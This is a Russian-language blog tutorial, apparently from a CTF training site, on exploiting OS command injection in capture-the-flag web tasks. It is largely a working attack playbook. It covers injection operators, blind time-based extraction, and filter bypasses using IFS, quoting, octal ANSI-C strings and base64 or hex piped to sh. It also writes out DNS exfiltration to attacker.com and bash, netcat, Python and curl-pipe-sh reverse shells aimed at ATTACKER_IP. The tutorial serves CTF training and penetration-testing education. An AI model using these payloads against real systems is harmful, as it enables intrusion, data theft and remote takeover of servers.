Главная / Блог / Command injection эксплуатация в CTF-тасках

12 мин.00

Command injection эксплуатация в CTF-тасках

Command injection эксплуатация в CTF-тасках

На CTF-соревновании формата Jeopardy веб-таск за 300 очков: форма «DNS Lookup», одно поле, кнопка. Три участника из команды отправили 8.8.8.8; cat /flag.txt — ответ «Invalid input». Попробовали | cat /flag.txt — та же заглушка. Потратили 40 минут, пока один не додумался до $(cat${IFS}/flag.txt) — и флаг вернулся прямо в DNS-ответе. Вот она, разница между «знаю что такое command injection» и «умею эксплуатировать command injection через фильтры» — ноль очков против трёхсот. Ниже — полный разбор эксплуатации OS command injection в CTF: от обнаружения точки входа до reverse shell через самые злые фильтры.

Бизнес-логика command injection — зачем это атакующему

Command injection — не академическое упражнение. В терминах MITRE ATT&CK цепочка через эту уязвимость собирается так: злоумышленник находит публичное веб-приложение с необработанным вводом — Exploit Public-Facing Application (T1190, Initial Access). Исполняет произвольные команды через Unix Shell (T1059.004, Execution) или Windows Command Shell (T1059.003, Execution). Закрепляется через Web Shell (T1505.003, Persistence), проводит разведку файловой системы — File and Directory Discovery (T1083, Discovery), собирает информацию о системе — System Information Discovery (T1082, Discovery) — и вытаскивает целевые данные — Data from Local System (T1005, Collection). Подробнее — в нашем материале про создание ctf заданий.

В реальном мире мотивация атакующего — получить RCE (remote code execution), закрепиться в инфраструктуре, эксфильтрировать данные или развернуть ransomware. В CTF всё проще — забрать флаг из файла или переменной окружения. Но техники переносимы один в один.

Согласно OWASP Top 10 2021, Injection-уязвимости сидят на третьей позиции (A03:2021) — сюда входят SQL, NoSQL, LDAP и OS command injection. При этом OS command injection опаснее code injection: атакующий выходит за рамки приложения и командует операционной системой напрямую. Код приложения исполняется интерпретатором с ограничениями runtime, а системная команда — оболочкой с привилегиями процесса. Почувствуйте разницу.

Анатомия уязвимости: как возникает OS command injection

Уязвимость появляется, когда приложение передаёт пользовательский ввод в функцию, исполняющую системные команды. В Python это os.system(), subprocess.run() с shell=True, os.popen(). В PHP — system(), exec(), passthru(), shell_exec(), обратные кавычки. В Node.js — child_process.exec(). В C/C++ — system(), где обёртка над командой cat позволяла дописать произвольную команду через точку с запятой (классика из примеров OWASP).

Типичный уязвимый endpoint на Python — элементарнее некуда:

import os
from flask import request

@app.route('/ping')
def ping():
    host = request.args.get('host')
    output = os.popen(f"ping -c 1 {host}").read()
    return output

Значение host подставляется в строку команды без валидации. Передаёшь 127.0.0.1; cat /etc/passwd — оболочка выполнит обе команды: сначала ping -c 1 127.0.0.1, затем cat /etc/passwd. Это тот самый сценарий из OWASP Command Injection: «Command injection attacks are possible largely due to insufficient input validation».

Не путайте command injection с code injection. При code injection злоумышленник внедряет код на языке приложения (Python, PHP, Ruby), который исполняется интерпретатором. При OS command injection команды уходят напрямую в shell — /bin/sh, /bin/bash, cmd.exe. Последствия шире: shell даёт доступ ко всей файловой системе, сетевым утилитам, процессам.

Предусловия для command injection эксплуатации

Прежде чем отправлять пейлоады, проверь наличие условий:

Предусловие Как проверить Что ломает эксплуатацию
Приложение вызывает shell-функцию с пользовательским вводом Анализ исходного кода, поведение endpoint'а subprocess.run(["ping", host]) без shell=True — injection невозможен
Используется интерпретатор оболочки Тестовые пейлоады с разделителями Прямой вызов бинарника без оболочки (например, execvp в C)
Санитизация отсутствует или обходима Отправка тестовых символов (;, |, $) shlex.quote() в Python, escapeshellarg() в PHP — безопасные обёртки

В CTF-тасках предусловия обычно выполняются by design — задание создано для эксплуатации. В реальном пентесте каждое нужно подтвердить.

Операторы цепочки команд: выбираем разделитель для injection

Выбор оператора — первое решение, от которого зависит, полетит пейлоад или нет. Полная таблица для Unix-шеллов:

Оператор Поведение Когда использовать
; Выполняет обе команды последовательно, независимо от результата Базовый случай без фильтров
&& Вторая команда выполняется только при успехе первой Нужен валидный первый аргумент
\|\| Вторая команда выполняется только при провале первой Хочешь выполнить команду когда ping не прошёл
\| Pipe: stdout первой команды → stdin второй Передать данные между командами
`cmd` Подстановка команды через обратные кавычки Внутри строковых аргументов
$(cmd) Подстановка команды (современный синтаксис) Аналог backticks, поддерживает вложенность
%0a / \n Newline — интерпретируется как новая команда URL-параметры, когда ; отфильтрован

На Windows замени ; на &, а && и || работают аналогично. Подстановка через обратные кавычки не работает в cmd.exe, но работает в PowerShell.

Практический подход к поиску command injection в веб-приложениях: начинай с ; id, затем пробуй | id, далее $(id). Если в ответе видишь uid= — injection подтверждён и ты работаешь с inline-выводом. Ответ пустой или неизменный — переходи к blind-техникам.

Пошаговая command injection эксплуатация в CTF-таске

Шаг 1 — обнаружение точки входа

Ищи любой функционал, который очевидно взаимодействует с ОС: ping, traceroute, nslookup, конвертация файлов (PDF-генерация, ImageMagick), поиск по файловой системе, проверка доступности сервиса. В Burp Repeater перехвати запрос и изучи параметры. Параметры с именами host, ip, file, cmd, domain, path, url — первые кандидаты.

Не ограничивайся GET-параметрами. Command injection payloads могут проходить через POST-тело, HTTP-заголовки (особенно X-Forwarded-For, User-Agent — если приложение логирует их через shell-команду) и даже cookies. Веб-таски CTF command injection любят прятать уязвимый параметр не в самом очевидном месте — на то и CTF.

Шаг 2 — подтверждение injection

Отправь тестовый пейлоад: добавь ; sleep 5 к значению параметра. HTTP-ответ задержался на пять секунд — command injection подтверждён, даже без вывода в теле ответа. Классическая техника time-based blind injection.

Альтернатива: ; echo RANDOMTOKEN12345. Ищи строку RANDOMTOKEN12345 в ответе. Нашёл — у тебя есть inline-вывод, дальше всё проще. Эхо не работает? Попробуй подстановку $(echo RANDOMTOKEN12345) — результат подставится в оригинальную команду и может всплыть в сообщении об ошибке.

Шаг 3 — разведка окружения

Подтвердив injection, собирай информацию о системе (System Information Discovery, T1082):

  • ; id — под каким пользователем работает процесс (uid, gid, группы)
  • ; uname -a — ядро, версия ОС, архитектура
  • ; ls -la / — структура корневой файловой системы (File and Directory Discovery, T1083)
  • ; cat /etc/passwd — список пользователей
  • ; env — переменные окружения (в CTF флаг иногда валяется прямо в $FLAG)
  • ; ps aux — запущенные процессы (могут подсказать другие сервисы)

Шаг 4 — захват флага

В веб-тасках CTF command injection флаг обычно хранится в файле — /flag.txt, /flag, /home/ctf/flag, /root/flag.txt. Пробуй последовательно:

  • ; cat /flag.txt
  • ; cat /flag* — wildcard на случай нестандартного имени
  • ; find / -name "flag*" 2>/dev/null — рекурсивный поиск (утилита find из GTFOBins полезна вдвойне: и искать файлы, и исполнять команды через -exec)
  • ; env | grep -i flag — проверка переменных окружения

Если cat заблокирован — используй tac, head -n 100, tail, less, nl, sort, base64 (последний выведет содержимое в base64, декодируешь локально).

Блайнд command injection — эксплуатация вслепую

Часто в CTF (и почти всегда на реальных серверах) вывод инъецированной команды не попадает в HTTP-ответ. Приложение показывает статичное «Ping successful» или «Operation complete» независимо от результата. Это blind (слепая) command injection, и тут нужны другие подходы.

Time-based — самый надёжный метод подтверждения. Пейлоад ; sleep 5 создаёт измеримую задержку. Для извлечения данных — бинарный оракул: ; if [ $(cut -c1 /flag.txt) = "C" ]; then sleep 3; fi. Задержка три секунды — первый символ флага равен «C». Перебор символ за символом автоматизируется Python-скриптом на requests за 15 минут: цикл по позиции, вложенный цикл по алфавиту, замер response.elapsed.total_seconds().

DNS exfiltration. Если сервер может делать DNS-запросы (а порт 53 редко блокируют), данные уходят через поддомен: ; nslookup $(cat /flag.txt | tr ' ' '-').attacker.com. На контролируемом DNS-сервере (или через interact.sh) видишь запрос с содержимым файла в имени поддомена. Работает даже через строгие файрволы — DNS-трафик нужен почти всем сервисам. Аналогичный приём: nslookup attacker.com или ping attacker.com — контролируешь attacker.com, видишь входящий запрос.

Запись в webroot. Знаешь путь к web-директории (обычно /var/www/html/ для Apache или /usr/share/nginx/html/ для Nginx)? Пишем: ; cat /flag.txt > /var/www/html/out.txt. Затем http://target/out.txt в браузере — и читаешь результат. Просто, но работает только когда процесс имеет права записи в webroot.

Обход фильтров command injection — полный арсенал

Вот тут начинается самое интересное. В современных веб-тасках CTF raw-пейлоады почти никогда не проходят — стоят фильтры на уровне приложения или WAF. Разберём техники обхода фильтров command injection от простых к хардкорным.

Фильтруются пробелы

Пробел в blacklist? Заменяй:

  • ${IFS} — встроенная переменная bash (Internal Field Separator), по умолчанию содержит пробел, табуляцию и перевод строки. Пример: cat${IFS}/flag.txt
  • Фигурные скобки: {cat,/flag.txt} — bash разворачивает brace expansion, запятая работает как разделитель аргументов
  • $IFS$9 — $9 это пустой девятый позиционный параметр, комбинация корректно разделяет аргументы
  • %09 — символ горизонтальной табуляции в URL-encoded виде, принимается shell как whitespace

Фильтруются ключевые слова

Blacklist содержит cat, ls, flag или другие конкретные слова:

  • Кавычки внутри слова: c'a't /flag.txt или c"a"t /flag.txt — shell игнорирует пустые кавычки и склеивает части в единую команду
  • Обратный слеш: c\at /fl\ag.txt — экранирование разбивает слово для blacklist, но shell обрабатывает его корректно
  • Wildcard: cat /fl?g.txt или /bin/c?t /flag* — подстановочные символы обходят exact-match фильтры
  • Переменные окружения: a=fl;b=ag;cat /$a$b.txt — слово «flag» не фигурирует в запросе целиком
  • Альтернативные утилиты: tac, head, tail, less, more, nl, sort, rev, xxd, od, base64 — если cat заблокирован, одна из них обычно доступна

Фильтруются специальные символы

Когда операторы цепочки (;, |, &) заблокированы:

  • Newline %0a — в URL-параметрах перевод строки часто не попадает в blacklist. Shell интерпретирует его как разделитель команд
  • Подстановка $(cmd) — если $ и скобки доступны, подстановка работает даже без точки с запятой
  • Обратные кавычки `cmd` — аналог $(), иногда проскакивают через фильтры, не учитывающие этот синтаксис

Фильтруются ВСЕ буквы — ANSI-C quoting

Самый жёсткий сценарий: regex вида [a-zA-Z] блокирует любую букву в пользовательском вводе. Именно такой фильтр стоял в CTF-челлендже Dojo Challenge #36 на YesWeHack, где кастомная функция PreProd_Sanitize пропускала ввод без букв напрямую, а при обнаружении буквы оборачивала строку в одинарные кавычки с экранированием — выбраться из которых невозможно.

Решение — ANSI-C quoting. Синтаксис $'\NNN' позволяет задавать символы через восьмеричные коды. Shell интерпретирует $'\154\163' как ls, а $'\143\141\164' как cat. В пейлоаде нет ни одной буквы — regex не срабатывает, ввод проходит без санитизации:

# ls через ANSI-C quoting — ни одной буквы в пейлоаде
$'\154\163'
# cat /flag.txt — полностью в восьмеричных кодах
$'\143\141\164' $'\057\146\154\141\147\056\164\170\164'

Рецепт: для каждого символа команды получи восьмеричный код (через printf '%o' "'c" → 143), собери строку в формате $'\143\141\164' и подставь в пейлоад. Техника работает в bash, ash, zsh — то есть практически в любом CTF-окружении на Linux.

Base64 и hex-кодирование

Если base64 и sh доступны на сервере, закодируй команду целиком: echo "cat /flag.txt" | base64 локально даёт Y2F0IC9mbGFnLnR4dA==. Пейлоад для injection: ; echo Y2F0IC9mbGFnLnR4dA== | base64 -d | sh. Слова cat и flag не появляются в запросе — blacklist по словам обойдён.

Аналогичный подход через hex: ; echo 636174202f666c61672e747874 | xxd -r -p | sh. Команда cat /flag.txt закодирована в hex-строку. Работает на системах с xxd (часть пакета vim).

Автоматизация: commix и ручные инструменты

Ручной перебор command injection payloads — лучший способ понять механику, но на CTF время жмёт. Commix — специализированный инструмент для автоматизации command injection эксплуатации. Запуск: commix --url="http://target/ping?host=INJECT_HERE" --technique=T --os-cmd="cat /flag.txt". Флаг --technique=T включает time-based blind injection. Для classic (inline-вывод) — --technique=C. Commix перебирает разделители, кодировки и обёртки автоматически — экономия десяти-пятнадцати минут на таске.

Burp Repeater незаменим для ручной отладки: отправил запрос, увидел ответ, скорректировал пейлоад. Для массового перебора — Burp Intruder с wordlist'ом bash command injection примеров или Python-скрипт на requests с замером response.elapsed.total_seconds() для blind-сценариев.

От injection к reverse shell — завершение цепочки RCE через command injection

Захват флага — финишная прямая CTF-таска, но иногда флаг доступен только через интерактивную сессию (нужно запустить бинарник с аргументами или прочитать файл, доступный только определённому пользователю). Тогда нужен reverse shell — обратное подключение с сервера к твоей машине.

Классические варианты bash command injection для получения шелла:

  • Bash: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
  • Netcat (с флагом -e): nc ATTACKER_IP 4444 -e /bin/sh
  • Netcat без -e: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f
  • Python: python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER_IP",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/sh")'

Исходящие TCP заблокированы файрволом? Попробуй curl-based подход: размести скрипт на своём сервере, подтяни через curl http://ATTACKER_IP/shell.sh | sh. Альтернатива — DNS-туннели или ICMP-шеллы, когда стандартные порты закрыты.

После получения шелла стабилизируй его: python3 -c 'import pty; pty.spawn("/bin/bash")', затем Ctrl+Z, stty raw -echo; fg. Получаешь полноценный интерактивный терминал с автодополнением, историей команд и корректной обработкой Ctrl+C.

Типичные ошибки при эксплуатации command injection в CTF

Даже опытные CTF-игроки наступают на одни и те же грабли.

Тестируют только один оператор. ; id не сработал — и сразу переключаются на другую уязвимость. А нужно пройти по всей таблице операторов: |, ||, &&, $(id), обратные кавычки, %0a. Каждый фильтр уникален, и тот оператор, что не прошёл первым, ничего не говорит об остальных.

Игнорируют кодировку URL. Символы &, #, +, пробел в URL-параметрах требуют URL-encoding. Отправляешь host=1; id в строке браузера — пробел превращается в +, точка с запятой может обрезаться. Работай через Burp Repeater или curl --data-urlencode.

Не проверяют stderr. Некоторые приложения возвращают только stdout, а stderr проглатывают. Перенаправление 2>&1 решает проблему: ; cat /flag.txt 2>&1.

Забывают про PATH. На минимальных Docker-контейнерах (Alpine, scratch) бинарники лежат не в стандартных местах. cat не найден — попробуй полный путь /bin/cat или /bin/busybox cat.

Навык обхода фильтров в command injection прямо коррелирует с результатами в web-категории CTF. Команды, которые тратят время на изучение ANSI-C quoting, hex/base64-обёрток и подстановок через переменные окружения, стабильно закрывают на два-три таска больше за тот же таймфрейм. Это не теория — это разница между 15-м и 3-м местом на Jeopardy.

Command injection — входная точка для понимания всей цепочки RCE в вебе. Освоив стабильное обнаружение и эксплуатацию CI, переход к server-side template injection, deserialization и другим RCE-векторам идёт проще — базовые принципы (передача ввода в небезопасную функцию, обход санитизации, blind-подтверждение) те же самые. Если хочешь не просто читать writeup'ы, а пройти эту прогрессию в лабах с ментором — на WAPT эту цепочку разбирают в нескольких модулях, от базового injection до полноценных кейсов с обходом WAF.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

SSRF уязвимость: как эксплуатировать в CTF-задачах

12 мин.

4

SSRF уязвимость: как эксплуатировать в CTF-задачах

452% рост SSRF-атак за год. Разбор обхода фильтров через DNS rebinding, decimal IP и gopher-цепочки — пошаговый workflow CTF-решения с payloads и инструментами.

13 ОКТЯБРЬ, 2026

JWT уязвимости в CTF: none, брутфорс и confusion

14 мин.

5

JWT уязвимости в CTF: none, брутфорс и confusion

5 атак на JWT в CTF: алгоритм none, брутфорс секрета hashcat, confusion RS256→HS256, kid-инъекция и JWK-спуфинг. Команды jwt_tool и чек-лист действий.

13 ОКТЯБРЬ, 2026

Linux для CTF: команды, права и поиск файлов

13 мин.

5

Linux для CTF: команды, права и поиск файлов

Enumeration, SUID, sudo, find, grep — пошаговый разбор базовых команд Linux для CTF. От получения шелла до root через privilege escalation на реальных примерах.

12 ОКТЯБРЬ, 2026